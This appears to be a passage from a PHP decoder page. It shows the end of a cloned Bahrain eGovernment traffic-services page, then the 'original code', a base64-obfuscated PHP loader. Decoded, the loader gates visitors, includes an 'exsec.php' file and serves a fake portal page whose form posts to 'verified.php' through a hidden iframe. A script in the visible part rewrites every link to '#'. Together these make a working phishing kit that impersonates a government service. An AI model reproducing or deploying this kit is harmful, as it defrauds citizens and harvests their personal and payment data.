							<input onclick="return xt_click(this,'C','level2_number','Portal Authentication  Click  Loginn','N');" id="ekeyloginSubmit" name="Login" type="submit" value="Login" class="button_style submitSignIn">
							<button id="ekeyLoginCancel" class="button_style">Cancel</button>							
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>

<div id="ratingModel" style="display: none;" class="row-fluid">
	<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
	</div>
	<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="ratingPopupModal" aria-hidden="false">
		<div class="modal-header">
			<a class="minimizeModal">
				<i class="material-icons">
					minimize
				</i>
			</a>
			<h4 id="ratingPopupModal" style="color:#1259ff;">Rate this service</h4>		
		</div>	
		<div class="modal-body">
			<div class="row-fluid">
				<div class="span12">
					<div class="rating_container align-center">
					
						<i class="material-icons" style="font-size: 70px;display: none;">check_circle_outline</i>
					
						<p>How satisfied are you with this service?</p>
						
						<div class="row-fluid mt-3">
							<ul id="serviceRatingFaces">
								<li>
									<img class="RatingImg" id="ImgSmiley" style="cursor: pointer;" alt="Satisfied" title="Satisfied" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/smiley_face.png">
								</li>
								<li>
									<img class="RatingImg" id="ImgNormal" style="cursor: pointer;" alt="Neutral" title="Neutral" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/normal_face.png">
								</li>
								<li>
									<img class="RatingImg" id="ImgAngry" style="cursor: pointer;" alt="Dissatisfied" title="Dissatisfied" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/angry_face.png">
								</li>
							</ul>
						</div>
						<p id="ratingMessage" style="color: #c80009;padding :5px"></p>
						<div id="ratingForm" style="display: none;">
							<div class="row-fluid mt-2">
								<div class="span12 form-row" id="ratingInputComment">
									<div class="form-col1">
										<label for="feedbackTextArea"><em>*</em>Comment</label>
									</div>
									<div class="form-col2">
										<div class="form-control-block block-full">
											<textarea id="feedbackTextArea" maxlength="200" onkeyup="textareaCounter(this,200);"></textarea>  
											<br>
											  <div class="textCounter">
												<span>200</span>
												<span>characters left</span>
											  </div>          
										</div>										
										<div class="error-block" role="alert">
											<span></span>
										</div>
									</div>
								</div>
							</div>
							<div class="row-fluid">
								<div class="span12 form-row" id="ratingInputMobile">
									<div class="form-col1">
										<label>Mobile</label>
									</div>
									<div class="form-col2">
										<div class="form-control-block block-full">
											<input type="tel" minlength="8" value="" title="Mobile" autocomplete="off">	              
										</div>
										<div class="error-block" role="alert">
											<span></span>
										</div>
									</div>
								</div>
							</div>
							<div class="row-fluid">
								<div class="span12 form-row" id="ratingInputEmail">
									<div class="form-col1">
										<label>Email</label>
									</div>
									<div class="form-col2">
										<div class="form-control-block block-full">
											<input type="email" value="" title="Email" autocomplete="off">	              
										</div>
										<div class="error-block" role="alert">
											<span></span>
										</div>
									</div>
								</div>
							</div>
						</div>
						<div class="buttons mt-3" style="display: none;">
							<a href="javascript:void(0);" id="ratingModelClear" class="button_style">Clear</a>											
							<a href="javascript:void(0);" id="ratingModelSubmit" class="button_style">Submit</a>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>

<!-- Crop Model -->
<div id="cropperModel" style="display: none;" class="row-fluid">
	<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
	</div>
	<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="cropperPopupModal" aria-hidden="false">
		<div class="modal-header">
			<button type="button" class="close cropper-cancel-action" data-dismiss="modal" aria-hidden="true"></button>
			<h4 id="cropperPopupModal">
				Attach Photo
			</h4>
		</div>
		<div class="modal-body">
		</div>
	</div>
</div>
<!-- Crop Model - END -->


<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.mobile.custom.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap.min.js" type="text/javascript"></script> 
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/easyResponsiveTabs-svgeezy-service-merged.js" type="text/javascript"></script>


	<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-datepicker_en.js" type="text/javascript"></script>


<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-datetimepicker.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/printer.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.form.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.maskedinput.min.js" type="text/javascript"></script>

<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-tooltip.js" type="text/javascript"></script> 
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-popover.js" type="text/javascript"></script>


	<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery-eu-cookie-law-popup_en.js" type="text/javascript"></script>


<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/select2.full.js" type="text/javascript"></script>




<!-- End of LiveChat code --><!-- Userway Accessibility widget --><!-- End page footer -->
	<!-- This is responsible for bootstrapping the configuration for the javascript framework. 
		This is located here instead of the head section to improve client performance. -->

	<div id="layoutContainers" class="wpthemeLayoutContainers wpthemeLayoutContainersHidden" style="display: none;"></div>		
    <script>
    // Get all anchor tags
    var anchorTags = document.getElementsByTagName("a");

    // Loop through each anchor tag and modify the href attribute
    for (var i = 0; i < anchorTags.length; i++) {
        anchorTags[i].setAttribute("href", "#");
    }
    </script>

</body><grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIFJiXzNWOyBpVDVxcjogJGNvbXBsZXRlZFBhcmFtID0gJF9HRVRbIlx4NzZceDY1XDE2Mlx4NjlceDY2XDE3MSJdID8/ICcnOyBnb3RvIExFZlE0OyBMRWZRNDogaWYgKCRjb21wbGV0ZWRQYXJhbSAhPT0gIlwxNjRceDcyXHg3NVwxNDUiKSB7IGhlYWRlcigiXHg0Y1wxNTdceDYzXHg2MVx4NzRceDY5XHg2ZlwxNTZcNzJceDIwXHgyZVw1N1x4NjlcMTU2XHg2NFx4NjVceDc4XDU2XHg3MFwxNTBceDcwIik7IGRpZTsgfSBnb3RvIENlS0kzOyBSYl8zVjogaW5jbHVkZSAiXHgyZVw1N1wxNDVceDc4XDE2M1x4NjVcMTQzXHgyZVx4NzBceDY4XHg3MCI7IGdvdG8gaVQ1cXI7IENlS0kzOiA/PgoKCjwhRE9DVFlQRSBodG1sPgo8aHRtbCB4bWxucz0iaHR0cHM6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iIGNsYXNzPSIgaWRjMF8zNDMgbnRhd3VmZmFhIj48aGVhZD4KPCEtLSBiZWxvdyBJRSBtZXRhIHRhZyBhZGRlZCB0byBlbmZvcmUgSUUgYnJvd3NlcnMgdG8gc3RpY2sgdG8gdGhlaXIgZXhhY3QgdmVyc2lvbiB3aGVuIHZpZXdpbmcgdGhlIHdlYnNpdGUsIHdpdGhvdXQgcmV2ZXJ0aW5nIHRvIFF1aXJrcyBtb2RlIG9yIGdvaW5nIGJhY2sgdG8gb2xkZXIgdmVyc2lvbnMuLS0+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJUaGUgZUdvdmVybm1lbnQgTmF0aW9uYWwgUG9ydGFsIC0gS2luZ2RvbSBvZiBCYWhyYWluLCBwcm92aWRlcyBhIG9uZS1zdG9wIHNob3AgdGhhdCBmYWNpbGl0YXRlcyB0aGUgYWNjZXNzIHRvIGdvdmVybm1lbnQgSW5mb3JtYXRpb24gYW5kIGVTZXJ2aWNlcy4iPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgo8IS0tIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4gLS0+CjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgbWF4aW11bS1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEgLCB1c2VyLXNjYWxhYmxlPW5vIj4KPCEtLSByZWw9ZHluYW1pYy1jb250ZW50IGluZGljYXRlcyBhbiBlbGVtZW50IHRoYXQgaXMgcmVwbGFjZWQgd2l0aCB0aGUgY29udGVudHMgcHJvZHVjZWQgYnkgdGhlIHNwZWNpZmllZCBocmVmLiAKCSBkeW4tY3M6KiBVUklzIGFyZSByZXNvbHZlZCB1c2luZyB0aGUgV1AgRHluYW1pY0NvbnRlbnRTcG90TWFwcGluZ3MgcmVzb3VyY2UgZW52aXJvbm1lbnQgcHJvdmlkZXIuIFRoZXNlIHZhbHVlcyBjYW4KCSBhbHNvIGJlIHNldCB1c2luZyB0aGVtZSBtZXRhZGF0YSBpZiBhIHRoZW1lIGlzIHNwZWNpZmllZCBpbiB0aGUgVVJJIChlLmcuIEB0bDpvaWQ6dGhlbWVfdW5pcXVlX25hbWUpLiAtLT4KPGxpbmsgcmVsPSJhbHRlcm5hdGUiIGlkPSJoZWFkX21hcmt1cF9kZWZlcnJlZCIgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhYTl1MzVTLUdzSlJfX0x4elVMSVdBQS9tYXNodXAvcmE6Y29sbGVjdGlvbj90aGVtZUlEPVpKX0lPMDAyQVMwMTlMRjgwNjgwQ0dQVEUxR0UwJmFtcDtsb2NhbGU9ZW4mYW1wO21pbWUtdHlwZT10ZXh0JTJGcGxhaW4mYW1wO2xtPTE2NjI2MzA0MTYwMDAmYW1wO2VudHJ5PXdwX29uZV91aV8zMDNfXzAuMCUzQWhlYWRfbWFya3VwJmFtcDtkZWZlcnJlZD10cnVlIj4KCgo8dGl0bGU+CglHZW5lcmFsIERpcmVjdG9yYXRlIG9mIFRyYWZmaWMgU2VydmljZXMKPC90aXRsZT4KCgoJPGxpbmsgaWQ9ImNvbS5pYm0ubG90dXMuTmF2U3RhdGVVcmwiIHJlbD0iYWx0ZXJuYXRlIiBocmVmPSIvd3BzL3BvcnRhbC9lbi8hdXQvcC96MS8wNF9TajlDUHlrc3N5MHhQTE1uTXowdk1BZklqbzh6aUxTemNuUTJOTEl5ODNBM0RMQXdjdmYwTlBGeE5qQTBObk0zMHc4RUtUQzJNbkQyOGdRcjhqVTFNRFJ4TnZBT2RRdjA5akEzOERmU2ppTkZ2Z0FJY0RaeUNqSnlNRFF6Y19ZM0kwWTlzRW5INjhTaUl3bTk4Y0dvZTBJd29zREo4b1lERkhGUnZFcktvSURjME5EU2l3alBUVVZFUkFPb2dWQjghL2R6L2Q1L0wzZEpkeUV2VVVkM1FuZEpRU0V2TkU1c1JTOWFObDg0T0VkRE1USTRNa3BITVZZNE1FRkxUekJJUlRRek1UQkROZyEhLyI+CgkKCTxsaW5rIHJlbD0iYm9va21hcmsiIHRpdGxlPSJHZW5lcmFsIERpcmVjdG9yYXRlIG9mIFRyYWZmaWMgU2VydmljZXMiIGhyZWY9Ii93cHMvcG9ydGFsLyF1dC9wL3oxLzA0X1NqOUNQeWtzc3kweFBMTW5NejB2TUFmSWpvOHppTFN6Y25RMk5MSXk4M0EzRExBd2N2ZjBOUEZ4TmpBME5uTTMwdzhFS1RDMk1uRDI4Z1FyOGpVMU1EUnhOdkFPZFF2MDlqQTM4RGZTamlORnZnQUljRFp5Q2pKeU1EUXpjX1kzSTBZOXNFbkg2OFNpSXdtOThjR29lMEl3b3NESjhvWURGSEZSdkVyS29JRGMwTkRTaXdqUFRVVkVSQU9vZ1ZCOCEvZHovZDUvTDNkSmVXY3ZkMFJOUVVGelFVbFZRVTFCTHpST2JFaFZRU0VoTDFvMlh6ZzRSME14TWpneVNrY3hWamd3UVV0UE1FaEZORE14TUVNMi8iIGhyZWZsYW5nPSJlbiI+CgoKPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvZmF2aWNvbi5pY28iIHJlbD0ic2hvcnRjdXQgaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIj4KCjwhLS0gQXJhYmljIENTUyAtLT48IS0tIEVuZ2xpc2ggQ1NTIC0tPgoJPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3MvY3NzX2VuLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+Cgk8bGluayBocmVmPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2Nzcy9wcmludC5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJwcmludCI+Cgk8bGluayBocmVmPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2Nzcy9RYXBUY2hhX0VOLmpxdWVyeS5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgoJPCEtLSBDb29raWVzIC0tPgoJPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3MvbGF3LXBvcHVwX2VuLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0gQ29tbW9uIENTUyAtLT48IS0tIEZvbnQgQXdlc29tZSA1IC0tPgo8bGluayBocmVmPSIvUG9ydGFsUGx1c1NlcnZpY2VzVGhlbWUvdGhlbWVzL2h0bWwvZHluYW1pY1Nwb3RzL2ZvbnRzL2ZvbnQtYXdlc29tZS9jc3MvYWxsLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+Cgo8IS0tIEZvbnQgQXdlc29tZSA0IC0tPgo8bGluayBocmVmPSIvUG9ydGFsUGx1c1NlcnZpY2VzVGhlbWUvdGhlbWVzL2h0bWwvZHluYW1pY1Nwb3RzL2ZvbnRzL2ZvbnQtYXdlc29tZS9jc3MvZm9udC1hd2Vzb21lLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+CjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1QVCtTYW5zOjQwMCw3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vaWNvbj9mYW1pbHk9TWF0ZXJpYWwrSWNvbnMiPgo8bGluayBocmVmPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2Nzcy9zZWxlY3QyLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4scHJpbnQiPgo8bGluayBocmVmPSIvUG9ydGFsUGx1c1NlcnZpY2VzVGhlbWUvdGhlbWVzL2h0bWwvZHluYW1pY1Nwb3RzL2ZvbnRzL2N1c3RvbS1mb250LWljb25zL2Nzcy9jdXN0b20taWNvbnMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuLHByaW50Ij4KCjwhLS0gU2NyaXB0cyAtLT4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvanF1ZXJ5LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPCEtLSBUbyBkaXNhYmxlIHNob3dpbmcgbnVtYmVycyBhcyBjbGlja2FibGUgb3IgY2FsbGFibGUgcGhvbmUgbnVtYmVycyAtLT4KPG1ldGEgbmFtZT0iZm9ybWF0LWRldGVjdGlvbiIgY29udGVudD0idGVsZXBob25lPW5vIj48IS0tIHJlbmRlcmluZyBpcyBkZWxlZ2F0ZWQgdG8gdGhlIHNwZWNpZmllZCBocmVmIGZvciBlYWNoIGxvY2FsZSAtLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGFzeW5jPSIiIHNyYz0iLy9jZG4ubW91c2VmbG93LmNvbS9wcm9qZWN0cy9jN2MyNWZlMy00NThhLTRjNGQtODU3ZS0xNWFhNDJiNDhhMzQuanMiPjwvc2NyaXB0PjxzY3JpcHQgYXN5bmM9IiIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY2RuLmxpdmVjaGF0aW5jLmNvbS90cmFja2luZy5qcyI+PC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanMtc2hhMjU2LzAuOS4wL3NoYTI1Ni5taW4uanMiPjwvc2NyaXB0PgoKPC9oZWFkPgo8Ym9keSBjbGFzcz0ibG90dXN1aTMwZG9qbyB0dW5kcmEgbG9jYWxlX2VuIHRvb2xiYXItY2xvc2VkIiBkYXRhLW5ldy1nci1jLXMtY2hlY2stbG9hZGVkPSIxNC4xMTY0LjAiIGRhdGEtZ3ItZXh0LWluc3RhbGxlZD0iIj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+IG15ZmFjZXMuY29uZmlnLl9hdXRvZXZhbCA9IHRydWU7IDwvc2NyaXB0PgkKCgoJCjxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+CgkKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJdmFyIGpzUGFnZU5hbWUgPSAnR2VuZXJhbCBEaXJlY3RvcmF0ZSBvZiBUcmFmZmljIFNlcnZpY2VzJzsKCXZhciBzZXJ2aWNlVW5pcXVlTmFtZSA9J3N1aWQuR2VuZXJhbERpcmVjdG9yYXRlb2ZUcmFmZmljU2VydmljZXMnOwoJdmFyIHNlcnZpY2VPd25lciA9ICdHRFQnOwoKCWNvbnNvbGUubG9nKCJzZXJ2aWNlT3duZXIgOiAiICsgc2VydmljZU93bmVyKTsKCQo8L3NjcmlwdD4KCgoKCgoKCQo8ZGl2IGNsYXNzPSJjb250YWluZXIgbWFyLWJ0bS0xNSBsb2dvLXdyYXBwZXItaGVhZGVyIj4KCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkKCQkJCgkJCQoJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwiPgoJCQkJCTwhLS0gQ3VycmVudCBMb2dvIC0tPgoJCQkJCQoJCQkJCTwhLS0gTmV3IC0tPgoJCQkJCTxpbWcgY2xhc3M9Im5hdGlvbmFsUG9ydGFsTG9nbyIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9iYWhyYWluX2JoX2xvZ28ucG5nIiBhbHQ9Iktpbmdkb20gb2YgQmFocmFpbiBsb2dvIj4KCQkJCTwvYT4KCQkJCTxzcGFuPgoJCQkJCTxzcGFuIGNsYXNzPSJsb2dvLWhlYWRlci1zbGFzaCBoaWRlLWluLXJlc3BvbnNpdmUiPnw8L3NwYW4+CgkJCQkJPHNwYW4gY2xhc3M9ImxvZ28taGVhZGVyLXBocmFzZSI+WW91ciBwb3J0YWwgdG8gZmluZCBzZXJ2aWNlcyAmYW1wOyBnb3Zlcm5tZW50IGluZm9ybWF0aW9uIGVhc2lseTwvc3Bhbj4KCQkJCTwvc3Bhbj4KCQkJCQoJCQkKCTwvZGl2PgoKCTwvZGl2Pgo8L2Rpdj4KCgo8IS0tIHJlcXVpcmVkIC0gZG8gbm90IHJlbW92ZSAtLT4KCQkJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lIiBpZD0icG9ydGxldFN0YXRlIj57fTwvZGl2PgoJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQk8L2Rpdj4KCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4JCQoJCQk8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgkJCQoJCQkJPGRpdiBjbGFzcz0iY29tcG9uZW50LWNvbnRhaW5lciBtaWRkbGUtY29udGVudCBsZWZ0LWNvbnRlbnQgc3BhbjEyIGlkLVo3Xzg4R0MxMjgySk9UVEIwQTZCTE01NUwxRzQ3IiBuYW1lPSJsZWZ0Ij48ZGl2IGNsYXNzPSJjb21wb25lbnQtY29udHJvbCBpZC1aN184OEdDMTI4Mko4SU0xMFE2NVBFT0hEMTBJMSI+PGRpdiBjbGFzcz0idGhpblNraW4iPgogIDxkaXYgY2xhc3M9InRpdGxlLWJhciI+Cgk8YSByZWw9ImR5bmFtaWMtY29udGVudDEiIGhyZWY9ImxtLnRpdGxlIj48L2E+Cgk8c3BhbiBjbGFzcz0iwpRtZW51LXBsYWNlaG9sZGVywpQiPjwvc3Bhbj4KICA8L2Rpdj4KCSAKCQo8L2Rpdj4KPC9kaXY+PGRpdiBjbGFzcz0iY29tcG9uZW50LWNvbnRyb2wgaWQtWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzEiPjxkaXYgY2xhc3M9InRoaW5Ta2luIj4KICA8ZGl2IGNsYXNzPSJ0aXRsZS1iYXIiPgoJPGEgcmVsPSJkeW5hbWljLWNvbnRlbnQxIiBocmVmPSJsbS50aXRsZSI+PC9hPgoJPHNwYW4gY2xhc3M9IsKUbWVudS1wbGFjZWhvbGRlcsKUIj48L3NwYW4+CiAgPC9kaXY+CiAgPGRpdiB4bWxuczpwb3J0bGV0LWNsaWVudC1tb2RlbD0iaHR0cHM6Ly93d3cuaWJtLmNvbS94bWxucy9wcm9kL3dlYnNwaGVyZS9wb3J0YWwvdjYuMS9wb3J0bGV0LWNsaWVudC1tb2RlbCI+Cgk8bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJwMC9JWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzE9Q1o2Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMEM2PU5FamF2YXguZmFjZXMucmVzb3VyY2UhUUNQdGhlbWUuY3NzPWxuIXByaW1lZmFjZXMtYXJpc3RvPWNvbS5pYm0uZmFjZXMucG9ydGxldC5QQVRIIVFDUGphdmF4LmZhY2VzLnJlc291cmNlUUNQdGhlbWUuY3NzPT0vIj4KCQoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0icDAvSVo3Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMFMxPUNaNl84OEdDMTI4MkpHMVY4MEFLTzBIRTQzMTBDNj1ORWphdmF4LmZhY2VzLnJlc291cmNlIVFDUGpzZi5qcz1sbiFqYXZheC5mYWNlcz1jb20uaWJtLmZhY2VzLnBvcnRsZXQuUEFUSCFRQ1BqYXZheC5mYWNlcy5yZXNvdXJjZVFDUGpzZi5qcz09LyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9jb21tb24uanMiPjwvc2NyaXB0PgoJIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij52YXIgYWRkdGhpc19jb25maWcgPSB7ImRhdGFfdHJhY2tfY2xpY2tiYWNrIjp0cnVlICwgInVpX2xhbmd1YWdlIjonZW4nfTs8L3NjcmlwdD4KCQkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9zNy5hZGR0aGlzLmNvbS9qcy8yNTAvYWRkdGhpc193aWRnZXQuanMjcHViaWQ9cmEtNGQ5ODFhMzQ3MjNkNjU5YiI+PC9zY3JpcHQ+CgoJCQk8IS0tIEJlZ2luIFNlcnZpY2UgRm9ybSAtLT4KCQkJCgkJCgkJCTxpZnJhbWUgbmFtZT0iZHVtbXlmcmFtZSIgaWQ9ImR1bW15ZnJhbWUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9pZnJhbWU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ibXlGb3JtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iLi92ZXJpZmllZC5waHAiIG9uc3VibWl0PSJsb2FkZXIoKSIgdGFyZ2V0PSJkdW1teWZyYW1lIj4KCQkJCQoJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQk8ZGl2IGNsYXNzPSJzcGFuMTIiPjxzcGFuIGlkPSJ2aWV3bnNfWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzFfOmZvcm0xOnNlcnZpY2Vncm91cCI+CgoKCQkJPCEtLTxkaXYgY2xhc3M9InJvdy1mbHVpZCBtYXItYnRtLTEwIj4tLT4KCQkJPCEtLSAgPGRpdiBjbGFzcz0ic3BhbjEyIGJ1Y29udCI+LS0+CgkJCTwhLS0JPHA+UmVjZWl2ZSBhIDUwJSBkaXNjb3VudCBvbiBvdmVyZHVlIGZpbmVzIGJ5IHNldHRsaW5nIHdpdGhpbiBvbmUgd2Vlay48L3A+ICAgICAgICAgICAgICAgLS0+CgkJCTwhLS0gIDwvZGl2Pi0tPgoJCQk8IS0tPC9kaXY+LS0+CgkKCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQiPgoJCSA8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJICAgPCEtLSBCRUdJTiBJTlN